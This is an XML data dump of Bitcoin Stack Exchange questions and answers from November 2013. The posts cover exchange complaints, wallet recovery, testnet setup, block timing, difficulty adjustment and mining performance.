  <row Id="17528" PostTypeId="2" ParentId="7660" CreationDate="2013-11-29T16:47:11.180" Score="1" Body="&lt;p&gt;Absolutely not - terrible exhange for any type of (crypto) currency. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;DO NOT BUY HERE&lt;/strong&gt; - you will receive your coins late (I received mine after 3 days of placing my order) AND they used the exchange rate of the day and time of the processing of the order - in other words I lost 60% of my purchase because they were 'having problems with their system' and took 3 days to deliver.&lt;/p&gt;&#xA;" OwnerUserId="9665" LastActivityDate="2013-11-29T16:47:11.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17529" PostTypeId="2" ParentId="17469" CreationDate="2013-11-29T16:54:23.950" Score="1" Body="&lt;p&gt;What you're describing is one way to do it but there are much better ways. Take a look at &lt;a href=&quot;https://bitlab.co/wallet&quot; rel=&quot;nofollow&quot;&gt;https://bitlab.co/wallet&lt;/a&gt; which is an open source real-time wallet API that you can learn from. The back-end source that interfaces with the bitcoind service is at &lt;a href=&quot;https://github.com/bitlabco/bitlab-nodejs&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitlabco/bitlab-nodejs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9540" LastActivityDate="2013-11-29T16:54:23.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17531" PostTypeId="2" ParentId="17509" CreationDate="2013-11-29T17:55:27.733" Score="1" Body="&lt;p&gt;If the private key for a Bitcoin address is lost, the coins can't be spent and are effectively considered lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some wallet programs have password protection but Bitcoin itself does not have a &quot;forgot my password&quot; feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no administrative body. Bitcoin is explicitly designed to not rely on any trusted authority to create the coins or keep track of who has how many. That is recorded in the block chain, which is a public ledger that exists in many copies around the world.&lt;/p&gt;&#xA;" OwnerUserId="3684" LastActivityDate="2013-11-29T17:55:27.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17532" PostTypeId="1" CreationDate="2013-11-29T18:47:35.533" Score="2" ViewCount="603" Body="&lt;p&gt;I've created a raw transaction on &lt;strong&gt;testnet&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/v8rBmGkx&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/v8rBmGkx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;however I'm getting error: {&quot;code&quot;:-22,&quot;message&quot;:&quot;TX rejected&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked in the debug.log and there is no other clues. Can anyone tell me (pls) what's wrong with my tx?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally signrawtransaction returned correct: true. And as far as I can see the fees and output values add up. I'm a little confused to what the problem is?&lt;/p&gt;&#xA;" OwnerUserId="9551" LastActivityDate="2014-07-09T02:05:52.397" Title="Error Code 22 returned from bitcoind sendrawtransaction" Tags="|transactions|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17533" PostTypeId="1" CreationDate="2013-11-29T20:14:26.580" Score="0" ViewCount="4685" Body="&lt;p&gt;In short, &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I bought a few BTC years ago when they were very cheap.&lt;/li&gt;&#xA;&lt;li&gt;I reformatted my HDD and reinstalled the OS.&lt;/li&gt;&#xA;&lt;li&gt;I have used PhotoRec and&#xA;&lt;a href=&quot;http://www.cyplo.net/2012/04/01/bitcoin-wallet-recovery-photorec/&quot; rel=&quot;nofollow&quot;&gt;http://www.cyplo.net/2012/04/01/bitcoin-wallet-recovery-photorec/&lt;/a&gt; to&#xA;recover 3 .dat files. Searching only for the ''detection signature''&#xA;of a Bitcoin wallet.dat&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And the confusing part (if reformatting a hard drive containing bitcoins was not confusing enough!) is that the recovered .dat files are 7GB , 13GB and 8 kb.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, trying to use the recovered wallet.dat with Bitcoin-qt failed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chances are that these .dat are not wallets but I though this would be worth a shot considering how massively more valuable BTC are compared to 3 years ago. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anything I can do with these recovered files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="4237" LastEditorUserId="15412" LastEditDate="2014-06-18T05:52:58.417" LastActivityDate="2015-07-29T10:42:26.520" Title="Salvaged possible wallet from corrupt HDD ... now what?" Tags="|wallet|bitcoin-core|wallet-recovery|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17536" PostTypeId="2" ParentId="10821" CreationDate="2013-11-29T21:08:48.330" Score="16" Body="&lt;p&gt;According the paper &lt;a href=&quot;http://www.tik.ee.ethz.ch/file/49318d3f56c1d525aabf7fda78b23fc0/P2P2013_041.pdf&quot;&gt;'Information propagation in the bitcoin network.'&lt;/a&gt; by Decker and Wattenhofer. The mean time for a node to see a block is 12.6 seconds, after 40 seconds 95% of the nodes have seen that block. This paper goes into some of the causes of propagation speed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Block size&lt;/strong&gt; is a dominating factor:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;For blocks, whose size is larger than 20kB, each kilobyte costs an&#xA;  additional 80ms delay until a majority knows about the block.&quot; -'Information propagation in the bitcoin network.'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Network Diameter&lt;/strong&gt; does not appear to be that important as there are some very long shortest paths in bitcoin, but those paths only represent a tiny faction of the overlay network.&#xA;The bitcoin network appears to be extremely well connected for most of the nodes and with a long narrow tail very very poor connections. A block may take a long time, possibly minutes to reach the last 0.0001 percent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoinstats.com/network/propagation/&quot;&gt;Bitcoin Stats have a nice website that measures block propagation speed&lt;/a&gt;, it is based on the research of Decker and Wattenhofer. &#xA;It doesn't entirely agree with the Decker and Wattenhofer paper but it is important to understand that the bitcoin network is evolving at a breakneck pace. The bitcoin overlay network like the weather or the stock market, has the property that what was true yesterday might not be true tomorrow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin Stats says that for today, the mean was 5.1 seconds and 90th percentile was 22.4 seconds.&lt;/p&gt;&#xA;" OwnerUserId="442" LastActivityDate="2013-11-29T21:08:48.330" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17537" PostTypeId="1" CreationDate="2013-11-29T21:11:32.387" Score="7" ViewCount="12123" Body="&lt;p&gt;I am located in the United States, and was wondering about the complications of using btc-e to make trades in the USA, such as the complications in depositing and withdrawing money in the form of USD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to deposit USD into btc-e, almost all the options there to deposit money are not supported for US residents such as Perfect Money, OKpay, EgoPay. The other options are Interkassa and Payeer but these sites are in Russian and hard to navigate. There is one more option of wire transfer, but this requires a $2000 minimum. Does anyone have any advice in relation to depositing USD?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if we get over the hurdle of depositing USD funds by bypassing it and buying a bitcoin from coinbase and transfering it over to btc-e, and then buying other currencies such as ltc and nmc, eventually when I sell these for USD on btc-e, am I going to have trouble taking the USD out of btc-e? I ask this because it was so hard putting USD in, that I am wondering if it is the same way taking it out? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone in the USA has been using btc-e lately, please advise me on the difficulty or liklihood of depositing USD but more importantly withdrawing USD from btc-e, and how? Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess a second question would be if BTC-e is hard to use in the USA, is there any other exchange in the USA for trading alternative currencies such as LTC, NMC, etc...?&lt;/p&gt;&#xA;" OwnerUserId="9675" LastEditorUserId="9675" LastEditDate="2013-11-29T21:25:59.387" LastActivityDate="2013-12-07T08:57:35.540" Title="Using btc-e in the United States and depositing/withdrawing USD into btc-e?" Tags="|litecoin|withdrawal|btce|usa|funds|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17540" PostTypeId="1" CreationDate="2013-11-29T22:36:01.413" Score="1" ViewCount="129" Body="&lt;p&gt;What programming languages are some of the popular BTC exchanges implemented in? E.g. MtGox, BTC-E, Coinbase, etc. MtGox is releasing their new Midas trading engine, and there does not seem to be much information available online.&lt;/p&gt;&#xA;" OwnerUserId="9679" LastActivityDate="2013-11-30T09:54:48.967" Title="Implementation languages of popular exchanges" Tags="|development|mtgox|coinbase.com|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17541" PostTypeId="2" ParentId="182" CreationDate="2013-11-29T22:40:06.360" Score="1" Body="&lt;p&gt;The value of bitcoin is created by demand and offer by the need of market.&lt;/p&gt;&#xA;&lt;p&gt;If you want deeper estimation let assume two hypothetical examples:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Hypothesis 1:&#xA; * All people in USA has equal savings and all savings are in BC. BC is used only in USA&#xA; * Average Savings Amount for Americans is 3,800$. &#xA; * USA population is 317,161,000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Because the number of bitcoins is restricted, let divide the bitcoins equally among people.&lt;/p&gt;&#xA;&lt;p&gt;317,161,000 / 21,000,000 = 15.10 BC. In this hypothetical example has every American 15.10 BC and it correpsond to 3800$ of saving. It implies:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;1 BC = 3,800/15.10 = 251.66 $&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Let estimate another hypothesis.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Hypothesis 2:&#xA;    * Bitcoin will replace all gold.&#xA;    * There is 171,300 tons of gold in the world.&#xA;    * The price of gold is 1,245.5 USD/Troy ounce.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;1245.5$/Troy ounce = 40042.825 $/kg&lt;/p&gt;&#xA;&lt;p&gt;Price of all gold in the world is 40,042.825* 171,300,000 = 6,859,335,922,500$&lt;/p&gt;&#xA;&lt;p&gt;If we replace the gold with the bitcoin, we get price:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;1BC =  6,859,335,922,500 $ / 21,000,000 BC = 326,635 $&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Another hypothesis:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Hypothesis 3:&#xA; * All people in the world has it's savings only in BC.&#xA; * World population is 7,127,000,000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;21,000,000 / 7,127,000,000 = 0.0029BC&lt;/p&gt;&#xA;&lt;p&gt;It means that median saving amount of people is only &lt;strong&gt;0.0029BC&lt;/strong&gt;. It includes babies and poor people in Africa, India..&lt;/p&gt;&#xA;&lt;p&gt;With three different (unreal) hypothesis and very simple estimate and we can get three different prices.&lt;/p&gt;&#xA;" OwnerUserId="9585" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-05-01T19:45:44.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17543" PostTypeId="1" CreationDate="2013-11-29T23:52:00.653" Score="1" ViewCount="291" Body="&lt;p&gt;The price of bitcoins increase with demand. Demand increases because people can spend the bitcoins. I think the price of bitcoins started as a drug money. The main advantage of bitcoins is that the sender or buyer is anonymous.&#xA;However that does not cause the increase in demand to what it is now.&#xA;I believe the current demand is increasing as more people are accepting bitcoins, and seeing this, more people are buying it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the government makes bitcoins illegal, people would loose trust in the bitcoins and the prices will go down.&#xA;Cant this cause the prices to go down? &lt;/p&gt;&#xA;" OwnerUserId="9686" LastEditorUserId="2306" LastEditDate="2015-10-30T17:07:58.780" LastActivityDate="2015-10-30T17:07:58.780" Title="Can the Government step in, to ban bitcoins?" Tags="|government|" AnswerCount="1" CommentCount="2" ClosedDate="2013-11-30T20:27:43.177" ContentLicense="CC BY-SA 3.0" />
  <row Id="17544" PostTypeId="2" ParentId="17543" CreationDate="2013-11-30T00:04:57.523" Score="2" Body="&lt;p&gt;I think that banning bitcoins and enforcing the ban would be a huge endeavor. It would be expensive and probably politically unpopular. See this question: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4998/how-much-would-it-cost-for-a-government-to-undermine-bitcoins?rq=1&quot;&gt;How much would it cost for a government to undermine Bitcoins?&lt;/a&gt; Also see &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/366/what-methods-could-a-government-use-to-shutdown-bitcoin?lq=1&quot;&gt;What methods could a government use to shutdown Bitcoin?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3684" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2013-11-30T00:04:57.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17545" PostTypeId="1" CreationDate="2013-11-30T01:02:34.833" Score="6" ViewCount="2972" Body="&lt;p&gt;When getting information about transactions with blockchain.info's API, every transaction contains exactly one &quot;prev_out&quot; object, and within that object &quot;n&quot; is always equal to either 0 or 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do these things stand for/mean?&lt;/p&gt;&#xA;" OwnerUserId="7204" LastActivityDate="2014-04-24T09:00:50.087" Title="What does &quot;prev_out&quot; and &quot;n&quot; mean in blockchain.info's API data?" Tags="|transactions|blockchain|blockchain.info|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17546" PostTypeId="1" AcceptedAnswerId="17550" CreationDate="2013-11-30T02:12:48.817" Score="0" ViewCount="102" Body="&lt;p&gt;This is the last month's graph:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/En34H.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is the last day's graph:&lt;img src=&quot;https://i.stack.imgur.com/fBFei.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So these are my questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If the today's price is about 800$ in daily graph, why is the today's price displayed as about 200$ in montly graph?&lt;/li&gt;&#xA;&lt;li&gt;What does tell the mini graph tell us below the main graph?&lt;/li&gt;&#xA;&lt;li&gt;What is meant with the Volume? If it's the traded amount, why should i bother with it, instead of directly looking at the amount price movemont?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;PS: By the way, to see the graphs larger, click on the corresponding image with the right mouse button and then click on view image.&lt;/p&gt;&#xA;" OwnerUserId="9691" LastActivityDate="2013-11-30T03:09:01.903" Title="Mt.Gox Graph Question" Tags="|mtgox|charts|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17548" PostTypeId="1" CreationDate="2013-11-30T02:32:21.453" Score="3" ViewCount="16041" Body="&lt;p&gt;Besides using the &lt;code&gt;send bitcoins&lt;/code&gt; option, is there a way I can transfer my &lt;code&gt;bitcoins&lt;/code&gt; from my online Coinbase account to an offline wallet? I mainly want to do this because I'd recently found out that Bitcoin is located in the US and can be seized by the Obama Regime at any time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I guess what I'm trying to ask here is: is it possible to export an Online Wallet Private Key and import it on an Offline Wallet? If so, how?&lt;/p&gt;&#xA;" OwnerUserId="9436" LastEditorUserId="5406" LastEditDate="2016-10-05T00:13:29.623" LastActivityDate="2017-05-25T16:11:47.453" Title="Transfer Bitcoins from Coinbase to an Offline Wallet" Tags="|coinbase.com|paper-wallet|sending|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17549" PostTypeId="1" AcceptedAnswerId="17571" CreationDate="2013-11-30T02:47:42.373" Score="3" ViewCount="445" Body="&lt;p&gt;Is it possible to buy litecoins directly with money from an institution like Mt.Gox without buying Bitcoins first and swapping them ?&lt;/p&gt;&#xA;" OwnerUserId="9691" LastActivityDate="2014-06-27T07:06:23.233" Title="Buying Litecoins Directly" Tags="|litecoin|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17550" PostTypeId="2" ParentId="17546" CreationDate="2013-11-30T03:09:01.903" Score="0" Body="&lt;p&gt;The numbers for the price are on the right of the graph (under the word Price that is turned 90 degrees clockwise) and the numbers on the left are for volume (under the word Volume that is turned 90 degrees counterclockwise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Price is the amount that was paid on a per-bitcoin basis, the &quot;candles&quot; show where trading occured during the time period in question and the &quot;wicks&quot; show spikes in those same time periods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Volume is the number of bitcoins bought and sold during a given period, with each period being represented by a direction change on the line graph. This is an important metric because it shows how much trading is happening, whether or not the price is changing significantly (since many people might buy/sell at some times/prices and other times there are few available bitcoins at a given price.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Price will always remain the same at different levels of zoom, but volume will change based on the number of trades that happened, and since zooming changes the size of the periods (daily in the top, hourly in the bottom) the volume numbers on the left will shift as needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mini-chart allows you to see the volume of the exchange over a very long period, and the highlighted section is what you are currently looking at in the chart above. You can adjust the scope of the main graph by pulling the handles on the mini-graph if you want to see a period of time in more or less detail, or select a specific period of time (like October)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get more information on asset pricing charts I recommend &lt;a href=&quot;http://stockcharts.com/school/doku.php?id=chart_school:chart_analysis&quot; rel=&quot;nofollow&quot;&gt;http://stockcharts.com/school/doku.php?id=chart_school:chart_analysis&lt;/a&gt; and for other bitcoin specific charts and graphs be sure to check out &lt;a href=&quot;http://bitcoinity.org&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinity.org&lt;/a&gt;, &lt;a href=&quot;http://bitcoinwisdom.com&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinwisdom.com&lt;/a&gt;, and &lt;a href=&quot;http://bitcoincharts.com/charts&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincharts.com/charts&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5875" LastActivityDate="2013-11-30T03:09:01.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17553" PostTypeId="1" AcceptedAnswerId="102885" CreationDate="2013-11-30T04:59:55.697" Score="6" ViewCount="4736" Body="&lt;p&gt;Is there a sandbox in Bitcoin for testing, so that I can create sample bitcoins without mining and do transactions for testing purposes?&lt;/p&gt;&#xA;" OwnerUserId="9375" LastEditorUserId="5406" LastEditDate="2021-02-17T14:30:11.183" LastActivityDate="2021-02-22T17:59:45.320" Title="Is there a sandbox in bitcoin for testing?" Tags="|testnet|testing|signet|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17555" PostTypeId="2" ParentId="17553" CreationDate="2013-11-30T05:37:51.563" Score="2" Body="&lt;p&gt;You can use testnet, it is a separate chain: &lt;a href=&quot;https://en.bitcoin.it/wiki/Testnet&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Testnet&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1873" LastEditorUserId="1873" LastEditDate="2013-11-30T07:09:55.127" LastActivityDate="2013-11-30T07:09:55.127" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="17556" PostTypeId="2" ParentId="17548" CreationDate="2013-11-30T05:44:50.640" Score="2" Body="&lt;p&gt;Yes, coinbase allows you to create a paper wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blog.coinbase.com/post/51573799308/use-coinbase-to-export-your-bitcoins-to-a-paper-wallet&quot; rel=&quot;nofollow&quot;&gt;http://blog.coinbase.com/post/51573799308/use-coinbase-to-export-your-bitcoins-to-a-paper-wallet&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1873" LastEditorUserId="1873" LastEditDate="2013-11-30T06:22:26.253" LastActivityDate="2013-11-30T06:22:26.253" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17559" PostTypeId="1" CreationDate="2013-11-30T06:52:17.077" Score="0" ViewCount="777" Body="&lt;p&gt;I just added $1500 to my ripple wallet, but its showing up as XRPs in my wallet. Not only that, but the exchange rate is incredibly terrible, for 500 dollars, ripple gave me 500XRPs?  How is it that I only get 1500 XRP in my account when XRP is trading at $0.03???? How is this possible?&lt;/p&gt;&#xA;" OwnerUserId="9713" LastEditorUserId="3364" LastEditDate="2013-12-31T19:06:51.193" LastActivityDate="2013-12-31T19:06:51.193" Title="When adding funds to wallet via snapswap, what exchange rate is in place?" Tags="|ripple|exchange-rate|ripple-gateways|cash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17561" PostTypeId="1" CreationDate="2013-11-30T08:11:51.553" Score="0" ViewCount="561" Body="&lt;p&gt;I work in a lab and I have full access to the lab. I often leave my old laptop in this lab to do computational stuff (for lab or for my own stuff). If I want to mind bitcoin using this setup, what unusual behaviors will alert the administration of the school's network? Will there be a huge outgoing traffic? Does it require some ports to be opened?&lt;/p&gt;&#xA;" OwnerUserId="9716" LastEditorUserId="5406" LastEditDate="2016-04-28T13:39:55.103" LastActivityDate="2016-04-28T13:39:55.103" Title="What unusal behavior would alert school's system administrator from mining bitcoin?" Tags="|network|cpu-mining|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17562" PostTypeId="1" AcceptedAnswerId="17570" CreationDate="2013-11-30T08:43:31.623" Score="4" ViewCount="263" Body="&lt;p&gt;I found out that the average time per block (based on the last 10 000 blocks) is 464 seconds - something under 8 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockexplorer.com/q/interval/10000&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/q/interval/10000&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I thought that the target recomputing is done so it is kept at averagely 10 minutes per block. Where does this difference come from?&lt;/p&gt;&#xA;" OwnerUserId="1760" LastEditorUserId="5406" LastEditDate="2016-03-09T08:13:41.080" LastActivityDate="2016-03-09T08:16:54.783" Title="Why is average time for block 8 minutes, when the target is recomputed to keep it 10 minutes?" Tags="|difficulty|block-interval|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17564" PostTypeId="2" ParentId="17562" CreationDate="2013-11-30T08:49:16.193" Score="3" Body="&lt;p&gt;It probably comes from the fact that the mining power always increases; the recomputing of the target is done on the last 2016 blocks, but the mining power of the network is always higher the next 2016 blocks than the last 2016 blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, the average time is actually shorter than 10 minutes, because the hashpower is &lt;em&gt;always&lt;/em&gt; rising.&lt;/p&gt;&#xA;" OwnerUserId="1760" LastEditorUserId="5406" LastEditDate="2016-03-09T08:16:54.783" LastActivityDate="2016-03-09T08:16:54.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17565" PostTypeId="2" ParentId="17561" CreationDate="2013-11-30T08:52:22.253" Score="1" Body="&lt;p&gt;I know it doesn't answer your question, but: don't do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Time to mine on regular computers, even with strong GPUs, is long gone. If you don't have powerful ASICs, forget mining at school computers.&lt;/p&gt;&#xA;" OwnerUserId="1760" LastActivityDate="2013-11-30T08:52:22.253" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17568" PostTypeId="1" AcceptedAnswerId="17889" CreationDate="2013-11-30T09:20:22.910" Score="3" ViewCount="14432" Body="&lt;p&gt;According to &lt;a href=&quot;https://litecoin.info/Mining_Hardware_Comparison&quot; rel=&quot;nofollow&quot;&gt;litecoin.info/Mining_Hardware_Comparison&lt;/a&gt;,&#xA;6850 is 200+kH/s&lt;br&gt;&#xA;But I run speed is 17.28K/14.39Kh/s, what's wrong??&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; cgminer version 3.5.0 - Started: [2013-11-30 17:08:22]&#xA;--------------------------------------------------------------------------------&#xA; (5s):17.25K (avg):14.28Kh/s | A:0  R:0  HW:0  WU:12.4/m&#xA; ST: 2  SS: 0  NB: 6  LW: 45  GF: 0  RF: 0&#xA; Connected to coinotron.com diff 256 with stratum as user xxxxx&#xA; Block: fa394c9dc29d9325...  Diff:99.8M  Started: [17:15:04]  Best share: 107&#xA;--------------------------------------------------------------------------------&#xA; [P]ool management [G]PU management [S]ettings [D]isplay options [Q]uit&#xA; GPU 0:  58.0C 1206RPM | 17.28K/14.39Kh/s | A:0 R:0 HW:0 WU:12.4/m I: 8&#xA;--------------------------------------------------------------------------------&#xA;&#xA;GPU 0: 16.9 / 12.4 Kh/s | A:0  R:0  HW:0  U:0.00/m  I:8&#xA;57.0 C  F: 37% (1148 RPM)  E: 775 MHz  M: 1000 Mhz  V: 1.150V  A: 96%  P: 0%&#xA;Last initialised: [2013-11-30 17:08:36]&#xA;Intensity: Dynamic (only one thread in use)&#xA;Thread 0: 17.2 Kh/s Enabled ALIVE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9027" LastEditorUserId="5406" LastEditDate="2016-04-25T15:36:37.610" LastActivityDate="2016-04-25T15:36:37.610" Title="AMD HD6850 mining speed is very slow" Tags="|litecoin|miner-configuration|cgminer|gpu-mining|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17570" PostTypeId="2" ParentId="17562" CreationDate="2013-11-30T09:40:08.250" Score="4" Body="&lt;p&gt;The network difficulty is recalculated every 2016 blocks.  The difficulty is adjusted based on the duration of the most recent 2016 block interval.  The difficulty can adjust up or down at most by a factor of 4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, the network is growing rapidly.  The network finds blocks at a faster rate than one per 10 minutes because the current difficulty is based on the hashrate of the previous difficulty interval.&lt;/p&gt;&#xA;" OwnerUserId="3067" LastActivityDate="2013-11-30T09:40:08.250" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17571" PostTypeId="2" ParentId="17549" CreationDate="2013-11-30T09:43:08.277" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://btc-e.com&quot; rel=&quot;nofollow&quot;&gt;BTC-e&lt;/a&gt; offers LTC/USD, LTC/EUR, and LTC/RUR pairs that enable the direct purchase of LTC.  However, depending on your location and the payment methods available to you, it may be easier and cheaper to buy BTC first and then exchange them for LTC.&lt;/p&gt;&#xA;" OwnerUserId="3067" LastActivityDate="2013-11-30T09:43:08.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17572" PostTypeId="2" ParentId="17540" CreationDate="2013-11-30T09:54:48.967" Score="2" Body="&lt;ul&gt;&#xA;&lt;li&gt;MtGox - Website is PHP, I don't know what their trading engine uses&lt;/li&gt;&#xA;&lt;li&gt;Coinbase - Ruby on Rails&lt;/li&gt;&#xA;&lt;li&gt;BTC-e - ???&lt;/li&gt;&#xA;&lt;li&gt;mcxNOW - C++ &lt;/li&gt;&#xA;&lt;li&gt;Vircurex - Ruby on Rails&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3067" LastActivityDate="2013-11-30T09:54:48.967" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17573" PostTypeId="2" ParentId="17553" CreationDate="2013-11-30T10:34:09.197" Score="3" Body="&lt;p&gt;first install the software(bitcoin-qt) by following the steps:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-add-repository ppa:luke-jr/bitcoincore&#xA;sudo apt-get update    &#xA;sudo apt-get install bitcoin-qt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;run:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-qt -testnet&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;since &lt;code&gt;testnet&lt;/code&gt; is huge, as @Janus Troelsen suggest, there is a lighter version(&lt;code&gt;signet&lt;/code&gt;):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-qt -signet&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fgvbd.jpg&quot; alt=&quot;bitcoin-qt testnet&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;click on the &lt;code&gt;Receive&lt;/code&gt; button in the screenshot to get the &lt;code&gt;address&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;go to link &lt;a href=&quot;http://tpfaucet.appspot.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://tpfaucet.appspot.com/&lt;/a&gt; and give the &lt;code&gt;address&lt;/code&gt; to get &lt;code&gt;testnet bitcoins&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="9375" LastEditorUserId="9375" LastEditDate="2021-02-22T17:59:45.320" LastActivityDate="2021-02-22T17:59:45.320" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
